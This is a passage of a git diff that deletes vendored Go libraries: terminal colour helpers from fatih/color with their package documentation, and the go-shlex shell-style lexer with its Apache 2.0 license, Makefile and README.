and clears the output. Usually should -// be called after Set(). -func Unset() { - if NoColor { - return - } - - fmt.Fprintf(Output, "%s[%dm", escape, Reset) -} - -// Set sets the SGR sequence. -func (c *Color) Set() *Color { - if c.isNoColorSet() { - return c - } - - fmt.Fprintf(Output, c.format()) - return c -} - -func (c *Color) unset() { - if c.isNoColorSet() { - return - } - - Unset() -} - -func (c *Color) setWriter(w io.Writer) *Color { - if c.isNoColorSet() { - return c - } - - fmt.Fprintf(w, c.format()) - return c -} - -func (c *Color) unsetWriter(w io.Writer) { - if c.isNoColorSet() { - return - } - - if NoColor { - return - } - - fmt.Fprintf(w, "%s[%dm", escape, Reset) -} - -// Add is used to chain SGR parameters. Use as many as parameters to combine -// and create custom color objects. Example: Add(color.FgRed, color.Underline). -func (c *Color) Add(value ...Attribute) *Color { - c.params = append(c.params, value...) - return c -} - -func (c *Color) prepend(value Attribute) { - c.params = append(c.params, 0) - copy(c.params[1:], c.params[0:]) - c.params[0] = value -} - -// Fprint formats using the default formats for its operands and writes to w. -// Spaces are added between operands when neither is a string. -// It returns the number of bytes written and any write error encountered. -// On Windows, users should wrap w with colorable.NewColorable() if w is of -// type *os.File. -func (c *Color) Fprint(w io.Writer, a ...interface{}) (n int, err error) { - c.setWriter(w) - defer c.unsetWriter(w) - - return fmt.Fprint(w, a...) -} - -// Print formats using the default formats for its operands and writes to -// standard output. Spaces are added between operands when neither is a -// string. It returns the number of bytes written and any write error -// encountered. This is the standard fmt.Print() method wrapped with the given -// color. -func (c *Color) Print(a ...interface{}) (n int, err error) { - c.Set() - defer c.unset() - - return fmt.Fprint(Output, a...) -} - -// Fprintf formats according to a format specifier and writes to w. -// It returns the number of bytes written and any write error encountered. -// On Windows, users should wrap w with colorable.NewColorable() if w is of -// type *os.File. -func (c *Color) Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error) { - c.setWriter(w) - defer c.unsetWriter(w) - - return fmt.Fprintf(w, format, a...) -} - -// Printf formats according to a format specifier and writes to standard output. -// It returns the number of bytes written and any write error encountered. -// This is the standard fmt.Printf() method wrapped with the given color. -func (c *Color) Printf(format string, a ...interface{}) (n int, err error) { - c.Set() - defer c.unset() - - return fmt.Fprintf(Output, format, a...) -} - -// Fprintln formats using the default formats for its operands and writes to w. -// Spaces are always added between operands and a newline is appended. -// On Windows, users should wrap w with colorable.NewColorable() if w is of -// type *os.File. -func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err error) { - c.setWriter(w) - defer c.unsetWriter(w) - - return fmt.Fprintln(w, a...) -} - -// Println formats using the default formats for its operands and writes to -// standard output. Spaces are always added between operands and a newline is -// appended. It returns the number of bytes written and any write error -// encountered. This is the standard fmt.Print() method wrapped with the given -// color. -func (c *Color) Println(a ...interface{}) (n int, err error) { - c.Set() - defer c.unset() - - return fmt.Fprintln(Output, a...) -} - -// Sprint is just like Print, but returns a string instead of printing it. -func (c *Color) Sprint(a ...interface{}) string { - return c.wrap(fmt.Sprint(a...)) -} - -// Sprintln is just like Println, but returns a string instead of printing it. -func (c *Color) Sprintln(a ...interface{}) string { - return c.wrap(fmt.Sprintln(a...)) -} - -// Sprintf is just like Printf, but returns a string instead of printing it. -func (c *Color) Sprintf(format string, a ...interface{}) string { - return c.wrap(fmt.Sprintf(format, a...)) -} - -// FprintFunc returns a new function that prints the passed arguments as -// colorized with color.Fprint(). -func (c *Color) FprintFunc() func(w io.Writer, a ...interface{}) { - return func(w io.Writer, a ...interface{}) { - c.Fprint(w, a...) - } -} - -// PrintFunc returns a new function that prints the passed arguments as -// colorized with color.Print(). -func (c *Color) PrintFunc() func(a ...interface{}) { - return func(a ...interface{}) { - c.Print(a...) - } -} - -// FprintfFunc returns a new function that prints the passed arguments as -// colorized with color.Fprintf(). -func (c *Color) FprintfFunc() func(w io.Writer, format string, a ...interface{}) { - return func(w io.Writer, format string, a ...interface{}) { - c.Fprintf(w, format, a...) - } -} - -// PrintfFunc returns a new function that prints the passed arguments as -// colorized with color.Printf(). -func (c *Color) PrintfFunc() func(format string, a ...interface{}) { - return func(format string, a ...interface{}) { - c.Printf(format, a...) - } -} - -// FprintlnFunc returns a new function that prints the passed arguments as -// colorized with color.Fprintln(). -func (c *Color) FprintlnFunc() func(w io.Writer, a ...interface{}) { - return func(w io.Writer, a ...interface{}) { - c.Fprintln(w, a...) - } -} - -// PrintlnFunc returns a new function that prints the passed arguments as -// colorized with color.Println(). -func (c *Color) PrintlnFunc() func(a ...interface{}) { - return func(a ...interface{}) { - c.Println(a...) - } -} - -// SprintFunc returns a new function that returns colorized strings for the -// given arguments with fmt.Sprint(). Useful to put into or mix into other -// string. Windows users should use this in conjunction with color.Output, example: -// -// put := New(FgYellow).SprintFunc() -// fmt.Fprintf(color.Output, "This is a %s", put("warning")) -func (c *Color) SprintFunc() func(a ...interface{}) string { - return func(a ...interface{}) string { - return c.wrap(fmt.Sprint(a...)) - } -} - -// SprintfFunc returns a new function that returns colorized strings for the -// given arguments with fmt.Sprintf(). Useful to put into or mix into other -// string. Windows users should use this in conjunction with color.Output. -func (c *Color) SprintfFunc() func(format string, a ...interface{}) string { - return func(format string, a ...interface{}) string { - return c.wrap(fmt.Sprintf(format, a...)) - } -} - -// SprintlnFunc returns a new function that returns colorized strings for the -// given arguments with fmt.Sprintln(). Useful to put into or mix into other -// string. Windows users should use this in conjunction with color.Output. -func (c *Color) SprintlnFunc() func(a ...interface{}) string { - return func(a ...interface{}) string { - return c.wrap(fmt.Sprintln(a...)) - } -} - -// sequence returns a formatted SGR sequence to be plugged into a "\x1b[...m" -// an example output might be: "1;36" -> bold cyan -func (c *Color) sequence() string { - format := make([]string, len(c.params)) - for i, v := range c.params { - format[i] = strconv.Itoa(int(v)) - } - - return strings.Join(format, ";") -} - -// wrap wraps the s string with the colors attributes. The string is ready to -// be printed. -func (c *Color) wrap(s string) string { - if c.isNoColorSet() { - return s - } - - return c.format() + s + c.unformat() -} - -func (c *Color) format() string { - return fmt.Sprintf("%s[%sm", escape, c.sequence()) -} - -func (c *Color) unformat() string { - return fmt.Sprintf("%s[%dm", escape, Reset) -} - -// DisableColor disables the color output. Useful to not change any existing -// code and still being able to output. Can be used for flags like -// "--no-color". To enable back use EnableColor() method. -func (c *Color) DisableColor() { - c.noColor = boolPtr(true) -} - -// EnableColor enables the color output. Use it in conjunction with -// DisableColor(). Otherwise this method has no side effects. -func (c *Color) EnableColor() { - c.noColor = boolPtr(false) -} - -func (c *Color) isNoColorSet() bool { - // check first if we have user setted action - if c.noColor != nil { - return *c.noColor - } - - // if not return the global option, which is disabled by default - return NoColor -} - -// Equals returns a boolean value indicating whether two colors are equal. -func (c *Color) Equals(c2 *Color) bool { - if len(c.params) != len(c2.params) { - return false - } - - for _, attr := range c.params { - if !c2.attrExists(attr) { - return false - } - } - - return true -} - -func (c *Color) attrExists(a Attribute) bool { - for _, attr := range c.params { - if attr == a { - return true - } - } - - return false -} - -func boolPtr(v bool) *bool { - return &v -} - -func getCachedColor(p Attribute) *Color { - colorsCacheMu.Lock() - defer colorsCacheMu.Unlock() - - c, ok := colorsCache[p] - if !ok { - c = New(p) - colorsCache[p] = c - } - - return c -} - -func colorPrint(format string, p Attribute, a ...interface{}) { - c := getCachedColor(p) - - if !strings.HasSuffix(format, "\n") { - format += "\n" - } - - if len(a) == 0 { - c.Print(format) - } else { - c.Printf(format, a...) - } -} - -func colorString(format string, p Attribute, a ...interface{}) string { - c := getCachedColor(p) - - if len(a) == 0 { - return c.SprintFunc()(format) - } - - return c.SprintfFunc()(format, a...) -} - -// Black is a convenient helper function to print with black foreground. A -// newline is appended to format by default. -func Black(format string, a ...interface{}) { colorPrint(format, FgBlack, a...) } - -// Red is a convenient helper function to print with red foreground. A -// newline is appended to format by default. -func Red(format string, a ...interface{}) { colorPrint(format, FgRed, a...) } - -// Green is a convenient helper function to print with green foreground. A -// newline is appended to format by default. -func Green(format string, a ...interface{}) { colorPrint(format, FgGreen, a...) } - -// Yellow is a convenient helper function to print with yellow foreground. -// A newline is appended to format by default. -func Yellow(format string, a ...interface{}) { colorPrint(format, FgYellow, a...) } - -// Blue is a convenient helper function to print with blue foreground. A -// newline is appended to format by default. -func Blue(format string, a ...interface{}) { colorPrint(format, FgBlue, a...) } - -// Magenta is a convenient helper function to print with magenta foreground. -// A newline is appended to format by default. -func Magenta(format string, a ...interface{}) { colorPrint(format, FgMagenta, a...) } - -// Cyan is a convenient helper function to print with cyan foreground. A -// newline is appended to format by default. -func Cyan(format string, a ...interface{}) { colorPrint(format, FgCyan, a...) } - -// White is a convenient helper function to print with white foreground. A -// newline is appended to format by default. -func White(format string, a ...interface{}) { colorPrint(format, FgWhite, a...) } - -// BlackString is a convenient helper function to return a string with black -// foreground. -func BlackString(format string, a ...interface{}) string { return colorString(format, FgBlack, a...) } - -// RedString is a convenient helper function to return a string with red -// foreground. -func RedString(format string, a ...interface{}) string { return colorString(format, FgRed, a...) } - -// GreenString is a convenient helper function to return a string with green -// foreground. -func GreenString(format string, a ...interface{}) string { return colorString(format, FgGreen, a...) } - -// YellowString is a convenient helper function to return a string with yellow -// foreground. -func YellowString(format string, a ...interface{}) string { return colorString(format, FgYellow, a...) } - -// BlueString is a convenient helper function to return a string with blue -// foreground. -func BlueString(format string, a ...interface{}) string { return colorString(format, FgBlue, a...) } - -// MagentaString is a convenient helper function to return a string with magenta -// foreground. -func MagentaString(format string, a ...interface{}) string { - return colorString(format, FgMagenta, a...) -} - -// CyanString is a convenient helper function to return a string with cyan -// foreground. -func CyanString(format string, a ...interface{}) string { return colorString(format, FgCyan, a...) } - -// WhiteString is a convenient helper function to return a string with white -// foreground. -func WhiteString(format string, a ...interface{}) string { return colorString(format, FgWhite, a...) } - -// HiBlack is a convenient helper function to print with hi-intensity black foreground. A -// newline is appended to format by default. -func HiBlack(format string, a ...interface{}) { colorPrint(format, FgHiBlack, a...) } - -// HiRed is a convenient helper function to print with hi-intensity red foreground. A -// newline is appended to format by default. -func HiRed(format string, a ...interface{}) { colorPrint(format, FgHiRed, a...) } - -// HiGreen is a convenient helper function to print with hi-intensity green foreground. A -// newline is appended to format by default. -func HiGreen(format string, a ...interface{}) { colorPrint(format, FgHiGreen, a...) } - -// HiYellow is a convenient helper function to print with hi-intensity yellow foreground. -// A newline is appended to format by default. -func HiYellow(format string, a ...interface{}) { colorPrint(format, FgHiYellow, a...) } - -// HiBlue is a convenient helper function to print with hi-intensity blue foreground. A -// newline is appended to format by default. -func HiBlue(format string, a ...interface{}) { colorPrint(format, FgHiBlue, a...) } - -// HiMagenta is a convenient helper function to print with hi-intensity magenta foreground. -// A newline is appended to format by default. -func HiMagenta(format string, a ...interface{}) { colorPrint(format, FgHiMagenta, a...) } - -// HiCyan is a convenient helper function to print with hi-intensity cyan foreground. A -// newline is appended to format by default. -func HiCyan(format string, a ...interface{}) { colorPrint(format, FgHiCyan, a...) } - -// HiWhite is a convenient helper function to print with hi-intensity white foreground. A -// newline is appended to format by default. -func HiWhite(format string, a ...interface{}) { colorPrint(format, FgHiWhite, a...) } - -// HiBlackString is a convenient helper function to return a string with hi-intensity black -// foreground. -func HiBlackString(format string, a ...interface{}) string { - return colorString(format, FgHiBlack, a...) -} - -// HiRedString is a convenient helper function to return a string with hi-intensity red -// foreground. -func HiRedString(format string, a ...interface{}) string { return colorString(format, FgHiRed, a...) } - -// HiGreenString is a convenient helper function to return a string with hi-intensity green -// foreground. -func HiGreenString(format string, a ...interface{}) string { - return colorString(format, FgHiGreen, a...) -} - -// HiYellowString is a convenient helper function to return a string with hi-intensity yellow -// foreground. -func HiYellowString(format string, a ...interface{}) string { - return colorString(format, FgHiYellow, a...) -} - -// HiBlueString is a convenient helper function to return a string with hi-intensity blue -// foreground. -func HiBlueString(format string, a ...interface{}) string { return colorString(format, FgHiBlue, a...) } - -// HiMagentaString is a convenient helper function to return a string with hi-intensity magenta -// foreground. -func HiMagentaString(format string, a ...interface{}) string { - return colorString(format, FgHiMagenta, a...) -} - -// HiCyanString is a convenient helper function to return a string with hi-intensity cyan -// foreground. -func HiCyanString(format string, a ...interface{}) string { return colorString(format, FgHiCyan, a...) } - -// HiWhiteString is a convenient helper function to return a string with hi-intensity white -// foreground. -func HiWhiteString(format string, a ...interface{}) string { - return colorString(format, FgHiWhite, a...) -} diff --git a/vendor/github.com/fatih/color/doc.go b/vendor/github.com/fatih/color/doc.go deleted file mode 100644 index cf1e96500f..0000000000 --- a/vendor/github.com/fatih/color/doc.go +++ /dev/null @@ -1,133 +0,0 @@ -/* -Package color is an ANSI color package to output colorized or SGR defined -output to the standard output. The API can be used in several way, pick one -that suits you. - -Use simple and default helper functions with predefined foreground colors: - - color.Cyan("Prints text in cyan.") - - // a newline will be appended automatically - color.Blue("Prints %s in blue.", "text") - - // More default foreground colors.. - color.Red("We have red") - color.Yellow("Yellow color too!") - color.Magenta("And many others ..") - - // Hi-intensity colors - color.HiGreen("Bright green color.") - color.HiBlack("Bright black means gray..") - color.HiWhite("Shiny white color!") - -However there are times where custom color mixes are required. Below are some -examples to create custom color objects and use the print functions of each -separate color object. - - // Create a new color object - c := color.New(color.FgCyan).Add(color.Underline) - c.Println("Prints cyan text with an underline.") - - // Or just add them to New() - d := color.New(color.FgCyan, color.Bold) - d.Printf("This prints bold cyan %s\n", "too!.") - - - // Mix up foreground and background colors, create new mixes! - red := color.New(color.FgRed) - - boldRed := red.Add(color.Bold) - boldRed.Println("This will print text in bold red.") - - whiteBackground := red.Add(color.BgWhite) - whiteBackground.Println("Red text with White background.") - - // Use your own io.Writer output - color.New(color.FgBlue).Fprintln(myWriter, "blue color!") - - blue := color.New(color.FgBlue) - blue.Fprint(myWriter, "This will print text in blue.") - -You can create PrintXxx functions to simplify even more: - - // Create a custom print function for convenient - red := color.New(color.FgRed).PrintfFunc() - red("warning") - red("error: %s", err) - - // Mix up multiple attributes - notice := color.New(color.Bold, color.FgGreen).PrintlnFunc() - notice("don't forget this...") - -You can also FprintXxx functions to pass your own io.Writer: - - blue := color.New(FgBlue).FprintfFunc() - blue(myWriter, "important notice: %s", stars) - - // Mix up with multiple attributes - success := color.New(color.Bold, color.FgGreen).FprintlnFunc() - success(myWriter, don't forget this...") - - -Or create SprintXxx functions to mix strings with other non-colorized strings: - - yellow := New(FgYellow).SprintFunc() - red := New(FgRed).SprintFunc() - - fmt.Printf("this is a %s and this is %s.\n", yellow("warning"), red("error")) - - info := New(FgWhite, BgGreen).SprintFunc() - fmt.Printf("this %s rocks!\n", info("package")) - -Windows support is enabled by default. All Print functions work as intended. -However only for color.SprintXXX functions, user should use fmt.FprintXXX and -set the output to color.Output: - - fmt.Fprintf(color.Output, "Windows support: %s", color.GreenString("PASS")) - - info := New(FgWhite, BgGreen).SprintFunc() - fmt.Fprintf(color.Output, "this %s rocks!\n", info("package")) - -Using with existing code is possible. Just use the Set() method to set the -standard output to the given parameters. That way a rewrite of an existing -code is not required. - - // Use handy standard colors. - color.Set(color.FgYellow) - - fmt.Println("Existing text will be now in Yellow") - fmt.Printf("This one %s\n", "too") - - color.Unset() // don't forget to unset - - // You can mix up parameters - color.Set(color.FgMagenta, color.Bold) - defer color.Unset() // use it in your function - - fmt.Println("All text will be now bold magenta.") - -There might be a case where you want to disable color output (for example to -pipe the standard output of your app to somewhere else). `Color` has support to -disable colors both globally and for single color definition. For example -suppose you have a CLI app and a `--no-color` bool flag. You can easily disable -the color output with: - - var flagNoColor = flag.Bool("no-color", false, "Disable color output") - - if *flagNoColor { - color.NoColor = true // disables colorized output - } - -It also has support for single color definitions (local). You can -disable/enable color output on the fly: - - c := color.New(color.FgCyan) - c.Println("Prints cyan text") - - c.DisableColor() - c.Println("This is printed without any color") - - c.EnableColor() - c.Println("This prints again cyan...") -*/ -package color diff --git a/vendor/github.com/flynn-archive/go-shlex/COPYING b/vendor/github.com/flynn-archive/go-shlex/COPYING deleted file mode 100644 index d645695673..0000000000 --- a/vendor/github.com/flynn-archive/go-shlex/COPYING +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/github.com/flynn-archive/go-shlex/Makefile b/vendor/github.com/flynn-archive/go-shlex/Makefile deleted file mode 100644 index 038d9a4896..0000000000 --- a/vendor/github.com/flynn-archive/go-shlex/Makefile +++ /dev/null @@ -1,21 +0,0 @@ -# Copyright 2011 Google Inc. All Rights Reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -include $(GOROOT)/src/Make.inc - -TARG=shlex -GOFILES=\ - shlex.go\ - -include $(GOROOT)/src/Make.pkg diff --git a/vendor/github.com/flynn-archive/go-shlex/README.md b/vendor/github.com/flynn-archive/go-shlex/README.md deleted file mode 100644 index c86bcc066f..0000000000 --- a/vendor/github.com/flynn-archive/go-shlex/README.md +++ /dev/null @@ -1,2 +0,0 @@ -go-shlex is a simple lexer for go that supports shell-style quoting, -commenting, and escaping. diff --git a/vendor/github.com/flynn-archive/go-shlex/shlex.go b/vendor/github.com/flynn-archive/go-shlex/shlex.go deleted file mode 100644 index 7aeace801e..0000000000 --- a/vendor/github.com/flynn-archive/go-shlex/shlex.go +++ /dev/null @@ -1,457 +0,0 @@ -/* -Copyright 2012 Google Inc. All Rights Reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package shlex - -/* -Package shlex implements a simple lexer which splits input in to tokens using -shell-style rules for quoting and commenting. -*/ -import ( - "bufio" - "errors" - "fmt" - "io" - "strings" -) - -/* -A TokenType is a top-level token; a word, space, comment, unknown. -*/ -type TokenType int - -/* -A RuneTokenType is the type of a UTF-8 character; a character, quote, space, escape. -*/ -type RuneTokenType int - -type lexerState int - -type Token struct { - tokenType TokenType - value string -} - -/* -Two tokens are equal if both their types and values are equal. A nil token can -never equal another token. -*/ -func (a *Token) Equal(b *Token) bool { - if a == nil || b == nil { - return false - } - if a.tokenType != b.tokenType { - return false - } - return a.value == b.value -} - -const ( - RUNE_CHAR string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789._-,/@$*()+=><:;&^%~|!?[]{}" - RUNE_SPACE string = " \t\r\n" - RUNE_ESCAPING_QUOTE string = "\"" - RUNE_NONESCAPING_QUOTE string = "'" - RUNE_ESCAPE = "\\" - RUNE_COMMENT = "#" - - RUNETOKEN_UNKNOWN RuneTokenType = 0 - RUNETOKEN_CHAR RuneTokenType = 1 - RUNETOKEN_SPACE RuneTokenType = 2 - RUNETOKEN_ESCAPING_QUOTE RuneTokenType = 3 - RUNETOKEN_NONESCAPING_QUOTE RuneTokenType = 4 - RUNETOKEN_ESCAPE RuneTokenType = 5 - RUNETOKEN_COMMENT RuneTokenType = 6 - RUNETOKEN_EOF RuneTokenType = 7 - - TOKEN_UNKNOWN TokenType = 0 - TOKEN_WORD TokenType = 1 - TOKEN_SPACE TokenType = 2 - TOKEN_COMMENT TokenType = 3 - - STATE_START lexerState = 0 - STATE_INWORD lexerState = 1 - STATE_ESCAPING lexerState = 2 - STATE_ESCAPING_QUOTED lexerState = 3 - STATE_QUOTED_ESCAPING lexerState = 4 - STATE_QUOTED lexerState = 5 - STATE_COMMENT lexerState = 6 - - INITIAL_TOKEN_CAPACITY int = 100 -) - -/* -A type for classifying characters. This allows for different sorts of -classifiers - those accepting extended non-ascii chars, or strict posix -compatibility, for example. -*/ -type TokenClassifier struct { - typeMap map[int32]RuneTokenType -} - -func addRuneClass(typeMap *map[int32]RuneTokenType, runes string, tokenType RuneTokenType) { - for _, rune := range runes { - (*typeMap)[int32(rune)] = tokenType - } -} - -/* -Create a new classifier for basic ASCII characters. -*/ -func NewDefaultClassifier() *TokenClassifier { - typeMap := map[int32]RuneTokenType{} - addRuneClass(&typeMap, RUNE_CHAR, RUNETOKEN_CHAR) - addRuneClass(&typeMap, RUNE_SPACE, RUNETOKEN_SPACE) - addRuneClass(&typeMap, RUNE_ESCAPING_QUOTE, RUNETOKEN_ESCAPING_QUOTE) - addRuneClass(&typeMap, RUNE_NONESCAPING_QUOTE, RUNETOKEN_NONESCAPING_QUOTE) - addRuneClass(&typeMap, RUNE_ESCAPE, RUNETOKEN_ESCAPE) - addRuneClass(&typeMap, RUNE_COMMENT, RUNETOKEN_COMMENT) - return &TokenClassifier{ - typeMap: typeMap} -} - -func (classifier *TokenClassifier) ClassifyRune(rune int32) RuneTokenType { - return classifier.typeMap[rune] -} - -/* -A type for turning an input stream in to a sequence of strings. Whitespace and -comments are skipped. -*/ -type Lexer struct { - tokenizer *Tokenizer -} - -/* -Create a new lexer. -*/ -func NewLexer(r io.Reader) (*Lexer, error) { - - tokenizer, err := NewTokenizer(r) - if err != nil { - return nil, err - } - lexer := &Lexer{tokenizer: tokenizer} - return lexer, nil -} - -/* -Return the next word, and an error value. If there are no more words, the error -will be io.EOF. -*/ -func (l *Lexer) NextWord() (string, error) { - var token *Token - var err error - for { - token, err = l.tokenizer.NextToken() - if err != nil { - return "", err - } - switch token.tokenType { - case TOKEN_WORD: - { - return token.value, nil - } - case TOKEN_COMMENT: - { - // skip comments - } - default: - { - panic(fmt.Sprintf("Unknown token type: %v", token.tokenType)) - } - } - } - return "", io.EOF -} - -/* -A type for turning an input stream in to a sequence of typed tokens. -*/ -type Tokenizer struct { - input *bufio.Reader - classifier *TokenClassifier -} - -/* -Create a new tokenizer. -*/ -func NewTokenizer(r io.Reader) (*Tokenizer, error) { - input := bufio.NewReader(r) - classifier := NewDefaultClassifier() - tokenizer := &Tokenizer{ - input: input, - classifier: classifier} - return tokenizer, nil -} - -/* -Scan the stream for the next token. - -This uses an internal state machine. It will panic if it encounters a character -which it does not know how to handle. -*/ -func (t *Tokenizer) scanStream() (*Token, error) { - state := STATE_START - var tokenType TokenType - value := make([]int32, 0, INITIAL_TOKEN_CAPACITY) - var ( - nextRune int32 - nextRuneType RuneTokenType - err error - ) -SCAN: - for { - nextRune, _, err = t.input.ReadRune() - nextRuneType = t.classifier.ClassifyRune(nextRune) - if err != nil { - if err == io.EOF { - nextRuneType = RUNETOKEN_EOF - err = nil - } else { - return nil, err - } - } - switch state { - case STATE_START: // no runes read yet - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - return nil, io.EOF - } - case RUNETOKEN_CHAR: - { - tokenType = TOKEN_WORD - value = append(value, nextRune) - state = STATE_INWORD - } - case RUNETOKEN_SPACE: - { - } - case RUNETOKEN_ESCAPING_QUOTE: - { - tokenType = TOKEN_WORD - state = 